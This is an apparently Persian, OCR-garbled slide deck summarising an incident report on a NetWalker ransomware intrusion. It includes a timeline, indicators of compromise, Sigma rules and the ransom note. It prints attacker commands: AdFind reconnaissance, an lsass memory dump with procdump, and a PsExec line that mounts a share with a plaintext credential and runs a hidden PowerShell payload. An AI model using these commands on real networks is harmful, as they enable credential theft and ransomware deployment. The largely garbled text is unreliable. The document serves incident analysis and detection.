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NetWalker Ransomware
in 1 Hour
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L I8lzl ol g adgl asens jo ad ol Y12 Sl 4o )b sl dlel g5 o olgie 4 NetWalker

s b ,os5 NetWalker 4 YV Jls 3l jo Ll ol oo a5l Mailto b

3 oo plicd K00 (5,50 slrog 5 .aiS o Jose Closed-Access RaaS g SO lgie 4 18020 oyl
ilgi g 1 53 45 WS oo My (o 05 JUs S ol 5l G S o (B 1y 6,858 vl S
3l 1) 181G ST o8 law sloasens

https://www.zdnet.com/article/netwalker-ransomware-gang-has-made-25-million-since-
march-2020/

/https://labs.sentinelone.com/netwalker-ransomware-no-respite-no-english-required

https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-
/threat-actor

/https://threatpost.com/netwalker-ransomware-29m-march/158036

https://go.crowdstrike.com/rs/281-0OBQ-266/images/ReportCSIT-20081e.pdf
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310 0 540
198.181.163[.]103 45 quoiies Ll ous S sanlie alo oo sekitar s |, RDP 55,5 iz Lo

wloas 0,1y b Sl 4 59, o] ;o a1, SlIP ple .ol 004 3985 (! sese (IPVanish VPN YLz

Sls puply> 1 310Cs iz yo

el oo 3 )lg DomainName\Administrator olus ;i esliiwl b Sasags a5 coul S5 4 05y

JrS g (paibey®
a2 Con Sl ol 6l 50 Sy ol 4 ol Lzl cadgl 0g )5 5l o 4i80 VP 0gu> C37.pST L1
o b S o IS s Sl 10] LT 45 oS e Lo 39 co el 45 (bl o )50 (glaSints s

S8y o, o0yl 4 Cobalt Strike as lwes Ll wusl sus Obfuscate wos 4 e Sl oyl

SplinterRAT L Windshield ¢gl> el ,Saw a5 iS5 Thor (5,5 s5L1VirusTotal |

3,y o Sl

sl 5

hgesrtg)
tg = ([App in} Domain.GetAssenblies () | (s =bl d§_ AN =1
( )
g zdspyiouy yrdt - §rdg 9 a( o 01 &« <
return §fsrgerstgfzdssretgfzdspyiouythgrdotfytdryrdt. Invoke (§null, 8([Systenm.Runtime.InteropServices.HandleRer] (New-Ot © System.Runtime,InteropServices,HandleRef ( (5
g.GetMethod ( )) .Invoke (Snull, @ gysreg 11)), Sopyer ngy3£thge:
)
type |
= |, Mandatory = §Trve)] [ [1] $retsxvexrzgfdxvgszrtgsritewglfdsretsret,
= )] [Type] $vidgxdtrgszexfsxrefdeazwfsdrztazwrest = [Void)

)
$had)fghsfyversgltinsery, Jufgh =
$rtgeigfdhuresngfdxregre
§shdg Jhsaryuw:
§8fdsfd)hrewglay
Stredrterterytrdy!
§rgertxgsfaxsfdszrfazsfsas -
§8ArInsdrkdfwsadkfdfave fewerverwsdy =

+ $hsdjfghsfyuersgftjuseryfsrejufgh +

hs. jfaz gakygryeuwhuh = + + + §rtgejgfdhuresugfdxrigreid
zegrdzriwszer T + $shagfihsdfyuwaefaerazsfavewre + + §srasra

§srgsretstesrtfsefgsertsertertsretasdsvad = +

$skifdghkixzhgifig =

§asthjdszkiferyesyrerg = $sk)faghkixzhgifig +

$ yhdrgxfgdtrgxtgergdrhgrxt = + + §arasfdihrewgruysdesrgesrwewrewer +

sTtg) )‘
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Syl ol Sl Slolils F 5 s, V5l Giee SdS 5 e > €37.ps]

=y
4 4 engines detected this file
3f5e 1b692eb99f3121d13 554.07 KB
P 147 . detect-debug-environment direct-cpu-clock-access long-baseb4 powershell runtime-modules
DETECTION DETAILS BEHAVIOR commuNiTY @
amA) ESET-N oD3 e W
Kasp: HE 1 Zol Alarm k ) in! = 1 1
Ad-Aviare ndetected AegisLab ndetected
AhnLab-V3 Undetected ALYac Undetected

Bgin s 3 09,5 (oS Cdga (5,655 plo SO o 1) 095 a5 wis S >l 1, €37.exe LU oyl o &6

139 o0 0ddlie 1,0 a5 Cowl g0l oLl yioren o Neshta Jolis (65l cpl 09 oo

capa
&Bly 0 el 599 a5 1S anl peindly L @GaborSzappanos s,k g i Judos 5w
Wigd oo e 173.232.146[.]37 4 FFY &5 &,k ;5 5 9iien Cobalt Strike
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destinationIp 173.232.146.37

destinationIsIpve false

destinationPort 443

image C:\\Windows\\System32\\WindowsPowerShell\\v1.8%\powershell.exe
initiated true

processGuid {448b5629-bccB-5f4e-6202-0B0066081 308 |

processId 91448

protocol top

oolazwl (VEPFYYNAA o,led) 0,8 i dalilsS 51173.232.146.37 . ol ,o Cobalt Strike 4,
i plol Coibge b SSL cgn ol CS o a4 i 4zl gllas b plas Lol oS MITM 1, Lot
CERTIFICATE

Current Record

SHA-1 Gecebeced192683d2dE4e25b0baTel4fSchbTebTc
Serial Number 146473198

lssued 2015-05-20

Expires 2025-05-17

Common Mame Unknown (subject)

Unknown (issuer)
Alternative Names

Organization Name Unknown (subject)
Unknown (issuer)

S5L Version 3

Organization Unit Unknown (subject)
Unknown (issuer)

Street Address

Locality Unknown (subject)
Unknown (issuer)

State/Province Unknown (subject)
Unknown (issuer)

Country Unknown (subject)

Unknown (issuer)
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l, aSis S8l 5 plaSe g oS > Sandbox L. iz o 1, €37.exe 5 €37.ps1 0,5 xw Lo
sz bl jo asee SaNdbox 113 slacSluss ol Beacon pl oS o bo 4y (ol a5 060,55 lacs
(el 00 00,91 1> digas
https://capesandbox.com/analysis/54494/
https://app.any.run/tasks/4524fb0c-8e17-4255-8582-35b0e206ff3f/
https://capesandbox.com/analysis/54493/

S r v s XMRig BazarBackdoor poison Neshta ;I 5 jiw slaas Julis €37.€Xe 5l

Intezer a5 4 .ol CobaltStrike ;|

L

W3 5 oy L3 1, o Sl ol Lo gy ous by @adf.bat sl a4y e Sl S0 L ol o AdFind Ll

4 @ Securityworld.ir Challenginno.ir




mj adf.bat - Motepad

File Edit Format WView Help

kd Jd "Ci\Users’\SVC-DA~1\AppData’ Local\Temp' 18Y tmp$'Downloads”
adfind.exe -f "(objectcategory=person)" > ad users.txt
adfind.exe -f "objectcategory=computer" > ad_computers._txt
adfind.exe -sc trustdmp > trustdmp.txt

adfind.exe -subnets -f (objectCategory=subnet):» subnets.txt
adfind.exe -gcb -sc trustdmp > trustdmp.txt

adfind.exe -sc domainlist > domainlist.txt

adfind.exe -sc dcmodes > dcmodes.txt

adfind.exe -sc adinfo » adinfo.txt

adfind.exe -sc dclist » dclist.txt

adfind.exe -sc computers_pwdnotregd » computers pwdnotregd.txt

Oz Xlos S 5L AdFind by >y e Jb o LmQT A5 (pios Ink S bl pl 3l el oo be
Siloas 5L ADFINd gl =1 5l e &8s ips.log g domains.txt sla b a5 o aulys o

SourceCreated SourceModified LocalPath
8/ /202023:36 8/ [202023:36 C:\Users\ \Contacts\x64\mimikatz.log
8/ /202022:55 8/ [202022:59 C:\Users\ \Contacts\ips.log
8/ /202022:54 8/ [202022:54 C:\Users\ \Contacts\domains.txt
8/ 1202022:43 8/ /202022:43 C:\Users\ \Contacts\x64\AdFind_check\ad_computers.ixt
8/ (202022:42 8/ [202022:42 C:\Users\ \Contacts\x64\AdFind_check\subnets_txt
8/ /202022:42 8/ [202022:42 C:\Users\ \Contacts\x64\AdFind_check\trustdmp.ixt
8/ (202022:42 8/ [202022:42 C:\Users\ \Contacts\x64\AdFind_check\dclist.txt
8/ /202022:42 8/ [202022:43 C:\Users\ \Contacts\x64\AdFind_check
8/ f(202022:42 8/ [202022:42 C:\Users\ \Contacts\x64\AdFind_check\computers_pwdnotreqd.txt
8/ [202022:39 8/ [202023:36 C:\Users\ \Contacts\x64
8/ /1202022:36 8/ [202022:36 C:\Users\ \Contacts\c37.psl
8/ (202022:36 8/ [202022:59 C:\Users\ \Contacts

Cro 309 ) Syl bwgi' (5,131 — LECmd

5 Copy )l 4l p; lygiws 9 o 3L Command Prompt 6 AdFind sl 5l e aids s

Lloads ol ciwd O ygo 4 b ilowis Paste

nltest /dclist:
net group "Domain Computers" /DOMAIN
net groups "Enterprise Admins"™ /domain

net user Administrator
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2y =95 3 15 2 Ping |, domains.txt Ll o 55550 slohostname ol 5l ied coos Sl ol
L IPVA 5 00,5 Jlo)l PING G g5 oS o ooliiwl o] a5 5l PING jgiws ouw g o ipS.log L
sebl 5l el L YL ADFind jgiws 5l ol Jlex>! 4 domains.txt LG ol S oo s,Lal

Gl 00wl Cuws 4 domainlist

doliloel dy  ow yiiwd
5l B, Faags w03 o, procdumpbd.exe il o aids S g ol o, Mimikatz aslsl o

1030,5 ooliiwl ;5 Hgiws 5l eolawl L 1SasSs a1, 4o ,S cwls sl Procdump
procdumpéd.exe -ma lsass.exe lsass.dmp

3,05 cdllas ool axslis sla o b g Cawl oals JolalS o Lo, o a5 4 procdump64 5,00 oyl

AiloailuS ol jo 1y Lol slo Jasdlygiws Ll wileslo 1) liogs aseus o Sauagd a0 Hlai 4

B Exeinfo PE - ver.0.0.5.3 by A.S.L - 1031+71 sign 2018.09.25 — X
File : | |procdumpé4.exe | Hn m

Entry Point : [poo0s0E4 < EP Section: [cope = ol

é File Offset : [0o00074E4 First Bytes : |55.8B.EC.83.C< @ Plug

Linker Info : SubSystem : |\Wwindows GUI PE D

File Size :  |0005D8ASH </ 8| Overlay: |000535A8 O &2

? \ 3

Image is 32bit executable RES/OVL:1 /89% 1992 rey =

[Borland Delphi ( 2.0 - 7.0 ) 1992 - www.borland.com , Overlay : 8BC3E| | gcan /t Rip
Lamer Info - Help Hint - Unpack info 3 =

[Not packed , try OllyDbg v2 - www.ollydbg.de or IDA v7 www.hex-fay] O = ==

2 1>l Mimikatz wa aids G sgo

commandLine mimikatz.exe

company gentilkiwi (Benjamin DELPY)

currentDirectory Ci\\Users\) CContacts\ vxb4\\
description mimikatz for Windows

fileVersion z.2.8.8
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o ($2U S e .o asaly sausS J;uS G oyls RDP 5,k 51 deCredential (10,5 cals 5l o [Sosaygs
Ll 03905 b, o jo 1, PsExec 4 P100119.ps1 .ip.list.txt sla Ll DC a4 oo yiws

snare view mManage
& » ThisPC » Local Disk (C) » v & | | Search Local Di
Mame - Date modified Type
File folder
5 i File folder
Ces . Program Files File folder
. Program Files (x36) File folder
File folder
File folder I
File folder
. Users File folder
File folder
, Windows File folder
=] -Readme Text Document
L ip-list.t. File
& P100119 Windows Power5...
||E] psExec Application

Qo 18 S0 Ccou 1) 093 Bas B og okl 98T Sauays

IRV-Y

Domain e & lpiwew 4ed 9, Mount Share < cuai sl PsExec ;I Soogs
405 1> PowerShell ;i solawal L 1, l33lzL Payload e 4 5,5 cola.! Administrator
0ol 9765 «ivgs Ml b Sla jo a5 asals guac (slapiuaw plod 4 5 gws 5l esliiwl L NetWalker
X

C:\psexec.exe @ip-list.txt -d cmd /c “(net use q: /delete /y &; net use q: \\Dorq:mtroller\DomainName Juser:DomainName\administrator ThisWasThePassword &; powershell -
ExecutionPolicy ByPass -NoLogo -NoProfile -windowstyle hidden -NoExit -File q:\P100119.ps1”
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Hi!
Your files are encrypted.
All encrypted files for this computer has extension:

If for some reason you read this text before the encryption ended,
this can be understood by the fact that the computer slows down,
and your heart rate has increased due to the ability to turn it off,

then we recommend that you move away from the computer and accept that you have been compromised.
Rebooting/shutdown will cause you to lose files without the possibility of recovery.

Our encryption algorithms are very strong and your files are very well protected,
the only way to get your files back is to cooperate with us and get the decrypter program.

Do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover.

For us this is just business and to prove to you our seriousness, we will decrypt you one file for free.

Just open our website, upload the encrypted file and get the decrypted file for free.

Additionally, your data may have been stolen and if you do not cooperate with us, it will become publicly available on our blog.

Q58,5 Cawlgs 10 (T 5 ) Yo Sl Ve e b G, Y 2 BN T ARG TP NetWalker sl ,q,!

M) )YQ )‘).b \”A du 9 W) 00)91 wl; Libu] La ‘S’LQJ él...o ‘ULA) LSL‘-“-" )‘ o=

Payment | | Free decrypt | | FAQ | |

Your files are encrypted.

Only way to decrypt your files, is buy the decrypter program.
Your user key: write it down and use it to log in again.
The svstem is fully automated. After payment vou will automatically be able to download the decrypter.

Invoice for payment [ You have left 5 days 23 hours 46 minutes 52 seconds Status: Waiting for payment

You can buy the decrypter program for your network.

The amount before the increase is 500008 (4.21660000 BTC).

Decrypter for: ALL NETWORK / ALL COMPUTERS / ALL FILES

Bitcoin address:

If there iz no payment before , the price will increaze by x2 times and will be 1000005 (8.43320000 BTC)

Amount for payment: 4.21660000 BTC
You payed: 0.00000000 BTC
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NetWalker Ransomware

22:20 UTC

RDP Legin As Domain Administrator

22:38

Procdurmp & Mimikatz Executsed

22:43

RDP into Domain Controller

2315

PsExec Executed

22:36

c37.psl & c3Texe Executed

22:41

AdFind Executed

22:55

PCR Script Executed

23:25

All Domain Joined Systems

Ransomed

Timeline
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(PsExec (PsExec service created .., ol ET POLICY

PsExec — g yw £95%

https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creatio
n/win_psexesvc_start.yml

Procdump — ;I 5 oo oo liiw!

https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creatio
n/win_susp_procdump.yml

Mimikatz — ;I ooliiw!

https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_aler
t_mimikatz_keywords.yml

title: AdFind Recon

description: Threat Actor using AdFind for reconnaissance.
author: The DFIR Report

date: 2019/8/2

references:

- https://thedfirreport.com/2020/08/03/dridex-from-word-to—domain-dominance/
tags:

- attack.remote system discovery

- attack.T1018

logsource:

category: process_creation

product: windows

detection:

selection 1:

CommandLine |contains:

— adfind -f objectcategory=computer

selection 2:

CommandLine |contains:

— adfind -gcb -sc trustdmp

condition: selection 1 or selection 2

falsepositives:

- Legitimate Administrator using tool for Active Directory querying
level: medium

status: experimental
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Yara rule for Mimikatz

https://github.com/gentilkiwi/mimikatz/blob/master/kiwi_passwords.yar

10Cs
https://misppriv.circl.lu/events/view/73574

https://otx.alienvault.com/pulse/5f4c3ebl15ead4e24eb5b43a49
c37.psl

8e030188e0d03654d5e7a7738a9d6a9a
e0a37d0c26b351b789caffc8c90b968269982d
5536be48ed4eac8lad77aeade20b28ff8072275832e6833f5e1b692eb99f312fd13

c37.exe

531c0c5e943863b00c7157c05603113a
caal8377e764a3a27c715b3d69ba2258ee4eb0b2
4f7dd00a005caf046dd7e494fea25be2264974264d567edfc89122242b7c41bc

adf.bat

96e1849976d90425e74f075ed6bf8¢c30
1296a1f8887753ef87910b544727de76ce2adcc5
e56d45628f0c2bda30ab235657704aac50a8433bdb4215c77a2e0f52f0f31a49

mimikatz.exe

5af5e3426926e551ed3acc5bead5each
e24a174fff19d873df0fa5eddd9ec534617ed9d7
f743c0849d69b5ea2f7eaf28831c86c1536¢cc27ae470f20e49223cbdba9c677c¢
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pcr.bat

81c965ff526e7afd73c91543fee381a3
b9b83b17fd6d89807dcab7772b1416fa90cadb0e
ae431797c551c20fe2f3feladc08a566edfabf45abbd924f0c8da06381ab6e48

P100119.ps1

0d890fc8e761b764ba3a04af07197e20
21cOed7abaafbfd14c777aa370f397e4351654a6
53e06a8d117e876476832245039715825fbfbefc0d2463ab6c30295dd1d4afab

procdump64.exe

3b447099ca280dabd22d36f84ebfd3bb
49fd831a738b21ee0alb3b62cd15801abe8c32d5
6a511d4178d6d2f98f8af34311d0e15dc8dclc4b643e6943f056dabece242e70d
oo g — Sl WIN32 APl wilgs ol (s9l> (555005 e b o — Yara — embedded_win_api

nex
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3945 39, ;5 RDP (slasg g

184.58.243.205

173.239.199.73

176.126.85.39

198.181.163.103

141.98.81.191

93.179.69.154

173.232.146.37

https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/
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